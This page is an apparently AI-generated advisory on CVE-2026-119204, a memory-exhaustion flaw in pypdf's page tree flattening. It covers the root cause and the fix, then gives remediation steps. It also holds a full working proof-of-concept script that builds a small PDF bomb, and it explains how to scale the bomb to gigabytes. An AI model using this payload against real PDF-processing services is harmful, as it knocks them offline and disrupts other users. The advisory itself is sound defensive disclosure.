CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-119204

CVE-2026-119204: Uncontrolled Resource Consumption in pypdf Page Tree Flattening

Alon Barad
Alon Barad
Software Engineer

Oct 31, 2026·11 min read·3 visits

Executive Summary (TL;DR)

pypdf versions prior to 6.21.4 lack a global budget for copied dictionary entries when flattening a PDF page tree. A small, crafted PDF with repeated indirect references to shared page nodes and resource keys causes exponential memory allocation, resulting in Denial of Service. Upgrade to pypdf 6.21.4 or later to enforce the `page_tree_maximum_page_entries` limit.

CVE-2026-119204 (also tracked as GHSA-cggf-277g-3q54) is a Denial of Service (DoS) vulnerability in pypdf prior to version 6.21.4. The vulnerability stems from uncontrolled resource consumption (CWE-400) during the flattening of a PDF document's page tree. By supplying a compact PDF containing a hierarchical amplification structure of shared `/Pages` and `/Page` nodes with dense dictionary entries or inherited resources, an unauthenticated attacker can cause pypdf to copy millions of dictionary entries into individual `PageObject` instances without enforcing a document-wide entry budget. This triggers severe heap memory exhaustion and process termination via Out-Of-Memory (OOM) kills.

Vulnerability Overview

pypdf is an open-source, pure-Python library used for reading, splitting, merging, and transforming PDF documents. It is frequently deployed in backend web applications, automated document processing pipelines, and microservices that ingest user-supplied files. Because PDF parsing involves complex object graphs and cross-reference tables, the parser acts as a primary attack surface when processing untrusted inputs over a network.

In the PDF specification (ISO 32000-1), the pages of a document are accessed through a hierarchical structure known as the page tree, rooted at the /Pages entry in the document catalog. The tree consists of intermediate branch nodes (/Type /Pages) that define a /Kids array of child references, and leaf nodes (/Type /Page) that define individual page attributes and content streams. Leaf nodes may also inherit attributes—such as /Resources, /MediaBox, /CropBox, and /Rotate—from any ancestor node in the hierarchy.

CVE-2026-119204 (GHSA-cggf-277g-3q54) is an uncontrolled resource consumption vulnerability (CWE-400) within pypdf's page tree flattening mechanism (_flatten() in pypdf/_doc_common.py). Prior to version 6.21.4, when pypdf traverses the page tree to materialize PageObject instances, it copies both the leaf node's dictionary entries and any inherited ancestor attributes into each constructed PageObject without tracking the cumulative number of dictionary entries duplicated across the document.

An attacker can exploit this behavior by constructing a small PDF file that uses many-to-one indirect object references across multiple levels of /Pages nodes, pointing repeatedly to a single leaf /Page node populated with hundreds of dictionary keys or inherited resources. When the application accesses reader.pages (such as checking len(reader.pages) or indexing a page), pypdf executes an exponential number of dictionary key copies, exhausting available system memory and terminating the Python process.

Root Cause Analysis

The root cause of CVE-2026-119204 lies in how pypdf materializes page objects during page tree traversal in pypdf/_doc_common.py. When a consumer accesses the pages property on a PdfReader or PdfWriter instance, pypdf invokes _flatten() to walk the /Pages hierarchy using an explicit stack and construct a flat list of PageObject instances (flattened_pages).

While pypdf previously implemented controls to prevent cyclic graphs (tracking ancestor_ids to detect multi-hop loops like A -> B -> C -> A), maximum tree depth (page_tree_maximum_depth = 100), and total node traversal counts (_TraversalState), it did not account for the multiplicative cost of copying dictionary keys into each leaf PageObject inside _flatten_leaf_page().

In the PDF format, indirect object references (<obj_num> <gen_num> R) allow multiple parent /Kids arrays to reference the exact same intermediate /Pages node or leaf /Page node without duplicating bytes in the raw file stream. During _flatten(), each encounter with a /Page reference invokes _flatten_leaf_page(item, list_only). Inside this method, PageObject(self, item.indirect_reference) is instantiated, which copies all keys from the underlying PDF dictionary object (item.node). Subsequently, if not list_only is set, page_obj.update(item.node) is called, followed by a loop that merges every missing attribute from item.inherit into page_obj.

Because each reference to a shared /Page node results in a distinct PageObject allocation and a full shallow copy of all its dictionary entries and inherited attributes, the memory complexity is $O(P \times (K + I))$, where $P$ is the total number of leaf page references in the expanded tree, $K$ is the number of keys on the leaf /Page dictionary, and $I$ is the number of inherited attributes. A 4-object PDF file measuring only a few kilobytes can define a root /Pages node referencing an intermediate /Pages node 200 times, which in turn references a single /Page leaf 200 times ($P = 40,000$). When that single leaf or its ancestors contain 200 dictionary keys, _flatten_leaf_page() executes $8,000,000$ dictionary insertion operations across $40,000$ Python dictionary objects, amplifying memory usage by several orders of magnitude.

Code Analysis

The vulnerability was remediated in commit ea4ac663133f1b3de1d7a8f2e6fa239802fde79e (Pull Request #4290) by introducing a document-wide budget for copied page dictionary entries during page tree flattening.

First, in pypdf/_configuration.py, the patch introduces a new configuration parameter, page_tree_maximum_page_entries, with a default ceiling of 2,000,000 entries:

# File: pypdf/_configuration.py
class Configuration:
    """The maximum allowed number of entries in the page tree."""
    page_tree_maximum_depth: int = 100
    """The maximum allowed depth of the page tree."""
    # Added in 6.21.4: Global budget for copied page dictionary entries
    page_tree_maximum_page_entries: int = 2_000_000
    """
    The maximum allowed total number of page dictionary entries copied while flattening the page tree.
    A page referenced multiple times is copied once per reference.
    """

Second, in pypdf/_doc_common.py, the _flatten() method initializes a _TraversalState counter named remaining_page_entries using the configured budget and passes it down to _flatten_leaf_page() for every leaf node encountered:

# File: pypdf/_doc_common.py
def _flatten(self, list_only: bool = False) -> None:
    ...
    flattened_pages: list[PageObject] = []
    traversal_state = _TraversalState()
    # Initialize the document-wide entry budget state
    remaining_page_entries = _TraversalState(entry_count=configuration.page_tree_maximum_page_entries)
    ancestor_ids: set[int] = set()
    ...
            elif node_type == "/Page":
                flattened_pages.append(
                    self._flatten_leaf_page(
                        item=item, list_only=list_only, remaining_page_entries=remaining_page_entries
                    )
                )

Finally, _flatten_leaf_page() is updated to calculate the exact number of dictionary entries that will be populated on the new PageObject before instantiating the object or copying any keys. If decrementing remaining_page_entries.entry_count causes the budget to drop below zero, pypdf immediately raises a LimitReachedError:

# File: pypdf/_doc_common.py
def _flatten_leaf_page(
        self, *, item: _PageTreeItem, list_only: bool, remaining_page_entries: _TraversalState
) -> PageObject:
    node = item.node
 
    # Indirect PageObjects are populated by the constructor even when
    # list_only=True. Inline dictionaries are copied only when list_only=False.
    entry_count = (
        len(node)
        if item.indirect_reference is not None or not list_only
        else 0
    )
 
    # Inherited attributes are inserted only when missing from the page.
    entry_count += sum(
        attribute not in node for attribute in item.inherit
    )
 
    # Deduct from the global budget before performing object allocation
    remaining_page_entries.entry_count -= entry_count
    if remaining_page_entries.entry_count < 0:
        raise LimitReachedError("Maximum page tree page entry limit exceeded!")
 
    page = PageObject(self, item.indirect_reference)
    if not list_only:
        page.update(node)
    for attribute, value in item.inherit.items():
        # If the page has its own value, it does not inherit the parent's value.
        if attribute not in page:
            page[attribute] = value
 
    return page

> [!NOTE] > Fix Completeness Assessment: The patch accurately accounts for an important subtlety in PageObject.__init__: when item.indirect_reference is present, the PageObject constructor resolves the indirect reference and copies the dictionary entries regardless of whether list_only is True or False. By checking if item.indirect_reference is not None or not list_only, the pre-allocation check prevents attackers from bypassing the budget when _flatten(list_only=True) is invoked. Furthermore, counting inherited attributes prior to PageObject instantiation ensures that amplification via dense ancestor /Resources or inherited keys is also bounded by the same 2,000,000-entry budget.

Exploitation

Exploiting CVE-2026-119204 requires no authentication or special privileges, only that the target application parses an attacker-supplied PDF and accesses the document's page list (e.g., via len(reader.pages), reader.pages[0], or iterating over reader.pages). Standard operations such as page counting, text extraction, metadata validation, watermark application, or PDF merging all trigger _flatten().

An attacker constructs a minimal PDF file containing four core objects:

  1. Object 1 (/Catalog): Points to Object 2 as the root /Pages node.
  2. Object 2 (Root /Pages): Defines a /Kids array containing 200 indirect references to Object 3 (3 0 R), with /Count 40000.
  3. Object 3 (Intermediate /Pages): Defines a /Kids array containing 200 indirect references to Object 4 (4 0 R), with /Count 200.
  4. Object 4 (Leaf /Page): Defines a /Page dictionary containing /MediaBox [0 0 9 9] alongside 200 arbitrary keys (/K0 0 through /K199 0).

The following proof-of-concept script (adapted from the upstream regression test in tests/test_doc_common.py) generates this payload in memory and demonstrates the behavior across vulnerable and patched versions:

import io
from pypdf import PdfReader
from pypdf.errors import LimitReachedError
 
def generate_dos_pdf() -> bytes:
    page_key_count = 200
    pages_per_intermediate_node = 200
    top_level_child_count = 200
 
    # Object 4: Leaf /Page with 200 dummy keys
    keys = b"".join(b" /K%d 0" % i for i in range(page_key_count))
    leaf = b"<< /Type /Page /MediaBox [0 0 9 9]" + keys + b" >>"
 
    # Object 3: Intermediate /Pages referencing Object 4 (200 times)
    a_kids = b" ".join(b"4 0 R" for _ in range(pages_per_intermediate_node))
    a_node = b"<< /Type /Pages /Kids [" + a_kids + b"] /Count %d >>" % pages_per_intermediate_node
 
    # Object 2: Root /Pages referencing Object 3 (200 times)
    top_kids = b" ".join(b"3 0 R" for _ in range(top_level_child_count))
    top_node = b"<< /Type /Pages /Kids [" + top_kids + b"] /Count %d >>" % (
        top_level_child_count * pages_per_intermediate_node
    )
 
    objects = [
        b"<< /Type /Catalog /Pages 2 0 R >>",
        top_node,
        a_node,
        leaf,
    ]
 
    buf = bytearray(b"%PDF-1.7\n")
    offsets = []
    for index, obj in enumerate(objects, start=1):
        offsets.append(len(buf))
        buf += b"%d 0 obj\n" % index + obj + b"\nendobj\n"
 
    xref_offset = len(buf)
    buf += b"xref\n0 %d\n0000000000 65535 f \n" % (len(objects) + 1)
    for offset in offsets:
        buf += b"%010d 00000 n \n" % offset
 
    buf += (
        b"trailer\n<< /Size %d /Root 1 0 R >>\nstartxref\n%d\n%%%%EOF\n"
        % (len(objects) + 1, xref_offset)
    )
    return bytes(buf)
 
if __name__ == "__main__":
    payload = generate_dos_pdf()
    print(f"Generated PDF payload size: {len(payload)} bytes")
    reader = PdfReader(io.BytesIO(payload))
    try:
        page_count = len(reader.pages)
        print(f"Vulnerable: Flattened {page_count} pages (8,000,000+ dictionary entries)")
    except LimitReachedError as err:
        print(f"Patched: Aborted with LimitReachedError: {err}")

The generated PDF payload is approximately 3.5 KB in size. When processed by pypdf < 6.21.4, calling len(reader.pages) forces the creation of 40,000 PageObject instances, each holding over 200 dictionary entries, resulting in over 8,000,000 dictionary insertions. By increasing the key count or branching factor within the existing tree depth limits, an attacker can scale memory allocations to multiple gigabytes from a sub-10 KB file.

Impact Assessment

The security impact of CVE-2026-119204 is restricted to system availability, with no direct impact on confidentiality or integrity. It carries a CVSS v4.0 base score of 7.1 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N.

In web applications or API services that accept PDF uploads (such as document management systems, resume parsers, invoice processors, or LLM retrieval-augmented generation [RAG] ingestion pipelines), pypdf often runs synchronously within web worker threads or asynchronous task queues (e.g., Celery, Gunicorn, or Uvicorn workers). Because the payload is small (a few kilobytes), it easily bypasses standard HTTP request body size limits and file upload size restrictions.

When a worker processes the malicious PDF, CPython's memory allocator rapidly requests heap pages to store millions of NameObject and NumberObject references across thousands of PageObject dictionaries. This causes two immediate operational impacts:

  1. CPU Starvation: The Python interpreter spends seconds or minutes executing tight dictionary copy loops and garbage collection cycles, blocking the event loop or worker thread.
  2. Out-Of-Memory (OOM) Termination: In containerized environments (such as Kubernetes pods or AWS Lambda functions) with strict cgroup memory limits, the Linux kernel OOM killer terminates the worker process or container, dropping active requests for other users sharing the same worker process.

As of late October 2026, the EPSS score for CVE-2026-119204 is 0.00304 (0.30%, 23.18th percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, because full reproduction code is publicly available in the upstream repository's test suite, opportunistic exploitation against public file upload endpoints is trivial to execute.

Remediation

The primary remediation is to upgrade pypdf to version 6.21.4 or later, which enforces the page_tree_maximum_page_entries threshold by default.

pip install --upgrade "pypdf>=6.21.4"

After upgrading, applications should ensure that pypdf.errors.LimitReachedError (which inherits from PdfReadError / PyPdfError) is properly caught alongside standard parsing exceptions when processing untrusted PDF files. Uncaught LimitReachedError exceptions in background workers or request handlers can still cause unhandled exception responses (HTTP 500):

from pypdf import PdfReader
from pypdf.errors import LimitReachedError, PdfReadError
 
def process_untrusted_pdf(file_stream) -> int:
    try:
        reader = PdfReader(file_stream)
        return len(reader.pages)
    except LimitReachedError as err:
        # Log and reject PDFs that exceed structural complexity budgets
        raise ValueError(f"PDF complexity limit exceeded: {err}") from err
    except PdfReadError as err:
        raise ValueError(f"Malformed PDF file: {err}") from err

For environments with strict memory constraints (such as serverless functions with 128 MB–512 MB RAM), the default limit of 2,000,000 copied page entries may still allow more memory consumption than desired. Developers can tune the global configuration threshold downward during application startup:

import pypdf
 
# Restrict maximum copied page dictionary entries to 250,000 for constrained workers
pypdf.configuration.page_tree_maximum_page_entries = 250_000

If an immediate upgrade to 6.21.4 is not possible, mitigate the risk by running PDF parsing workloads inside isolated subprocesses or ephemeral containers configured with OS-level memory limits (resource.setrlimit(resource.RLIMIT_AS, ...) on POSIX systems or container cgroup limits) and execution timeouts to prevent a single malicious file from exhausting host memory.

Official Patches

py-pdfGitHub Security Advisory GHSA-cggf-277g-3q54
py-pdfPull Request #4290 introducing page_tree_maximum_page_entries
py-pdfCommit ea4ac663133f1b3de1d7a8f2e6fa239802fde79e fixing the vulnerability
py-pdfpypdf 6.21.4 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.30%
Top 77% most exploited

Affected Systems

pypdf (PyPI package: pypdf)

Affected Versions Detail

Product
Affected Versions
Fixed Version
pypdf
py-pdf
< 6.21.46.21.4
AttributeDetail
Vulnerability IDCVE-2026-119204 / GHSA-cggf-277g-3q54
Weakness ClassCWE-400 (Uncontrolled Resource Consumption)
CVSS v4.0 Score7.1 High (AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H)
Affected Componentpypdf._doc_common.DocCommon._flatten_leaf_page (< 6.21.4)
Patched Versionpypdf 6.21.4
ImpactDenial of Service via Heap Memory Exhaustion (OOM)
EPSS Score0.30% (23.18th Percentile)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
CWE-400
Uncontrolled Resource Consumption

The software does not properly control the allocation and maintenance of a limited resource, thereby enabling an actor to influence the amount of resources consumed, eventually leading to the exhaustion of available resources.

Known Exploits & Detection

GitHubRegression test in `tests/test_doc_common.py` included with the security patch demonstrating a 4-object PDF that expands to 40,000 pages and 8,000,000 dictionary entries.

Vulnerability Timeline

Security fix committed via PR #4290 (ea4ac663133f1b3de1d7a8f2e6fa239802fde79e)
2026-10-28
pypdf version 6.21.4 released
2026-10-28
GitHub Security Advisory GHSA-cggf-277g-3q54 and CVE-2026-119204 published
2026-10-29
NVD and OSV records updated
2026-10-31

References & Sources

  • [1]GitHub Security Advisory GHSA-cggf-277g-3q54: Possible large memory usage when parsing page tree
  • [2]pypdf Pull Request #4290
  • [3]Fix Commit ea4ac663133f1b3de1d7a8f2e6fa239802fde79e
  • [4]pypdf 6.21.4 Release Tag
  • [5]National Vulnerability Database (NVD) - CVE-2026-119204
  • [6]CVE.org Record - CVE-2026-119204
  • [7]CVEListV5 Official JSON Record - CVE-2026-119204

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•28 minutes ago•CVE-2026-119205
7.1

CVE-2026-119205: Denial of Service via Infinite Loop in pypdf DictionaryObject Cloning

CVE-2026-119205 (GHSA-mfr5-77xh-9j7h) is a Denial of Service (DoS) vulnerability in pypdf prior to version 6.21.4. The flaw occurs during the cloning or duplication of nested PDF dictionary structures. Because the cycle-detection algorithm within DictionaryObject._clone() tracked generated destination object references rather than the original source indirect references, cyclic reference graphs in source PDFs evaded detection, resulting in an infinite loop and CPU exhaustion.

Alon Barad
Alon Barad
1 views•9 min read
•about 2 hours ago•CVE-2026-119203
7.1

CVE-2026-119203: Infinite Loop in pypdf Standard Cross-Reference Table Parser

CVE-2026-119203 is a denial-of-service vulnerability affecting the pypdf library in versions prior to 6.21.4. The flaw occurs within the standard cross-reference (xref) table parsing routine when processing truncated or malformed PDF streams that terminate before a valid trailer dictionary is encountered. Because the parser attempts to rewind the stream pointer by a fixed offset whenever the trailer token is absent without verifying forward progress, hitting the end-of-file (EOF) or non-advancing tokens causes the parser to re-read the same byte offset indefinitely. An unauthenticated attacker can exploit this flaw by supplying a crafted PDF document to an application using pypdf, resulting in continuous CPU consumption and thread exhaustion.

Amit Schendel
Amit Schendel
3 views•9 min read
•about 3 hours ago•CVE-2026-118759
7.5

CVE-2026-118759: Cross-Tenant Pod Log Exposure via Authorization Bypass in Kubeflow Pipelines

Prior to version 2.18.0, the Kubeflow Pipelines API server contains a missing authorization and confused deputy vulnerability in its run log streaming endpoint. The HTTP handler for `GET /apis/v1alpha1/runs/{run_id}/nodes/{node_id}/log` fails to propagate incoming request headers to gRPC metadata and omits caller authorization checks against the requested run. Furthermore, the backend accepts the caller-supplied `node_id` parameter directly as a Kubernetes pod name without verifying that the pod belongs to the specified pipeline run. An attacker with network access to the API server who knows a valid run identifier can read live or archived execution logs from any pod containing a `main` container within the run's Kubernetes namespace.

Alon Barad
Alon Barad
4 views•10 min read
•about 4 hours ago•CVE-2026-118761
7.5

CVE-2026-118761: Pre-Authorization Decompression Bomb Denial of Service in Kubeflow Pipelines API Server

A high-severity Denial of Service (DoS) vulnerability exists in Kubeflow Pipelines prior to version 2.18.0 due to improper handling of highly compressed archive files (CWE-409). The API server decompresses uploaded ZIP and gzip-compressed TAR archives directly into memory without bounding the expanded byte stream or archive traversal metadata. Because decompression occurs before namespace-level authorization in multipart upload handlers, an unauthenticated or unauthorized attacker with network access to the API server can exhaust container heap memory and trigger Out-Of-Memory (OOM) terminations.

Amit Schendel
Amit Schendel
4 views•11 min read
•about 5 hours ago•CVE-2026-118763
7.4

CVE-2026-118763: Cross-Origin Credential Exposure in @sigstore/oci

A credential exposure vulnerability exists in the @sigstore/oci library prior to version 0.7.2. The RegistryClient implementation stores sensitive authentication headers, including Bearer tokens, Basic authentication credentials, and custom Docker configuration headers, as client-wide defaults on its shared HTTP client instance. When uploading binary blobs via the OCI distribution specification, the client extracts the target upload URI from the server-supplied Location header and dispatches an independent HTTP PUT request. If a compromised or untrusted registry returns a cross-origin URI in the Location header, the client transmits the stored authentication credentials directly to the third-party host.

Alon Barad
Alon Barad
7 views•10 min read
•about 8 hours ago•CVE-2026-119282
7.3

CVE-2026-119282: OS Command Injection via Plugin Options in Nx (@nx/maven and @nx/gradle)

An OS command injection and argument injection vulnerability exists in the Nx build system and its official Maven (@nx/maven) and Gradle (@nx/gradle) plugins. When constructing the project dependency graph, the plugins invoke underlying Java build wrappers via subshells while interpolating unsanitized plugin options directly from nx.json into the command arguments. An attacker who supplies a crafted nx.json file via a repository or pull request can execute arbitrary shell commands with the privileges of the user or CI/CD runner invoking any Nx command that computes the project graph.

Amit Schendel
Amit Schendel
8 views•10 min read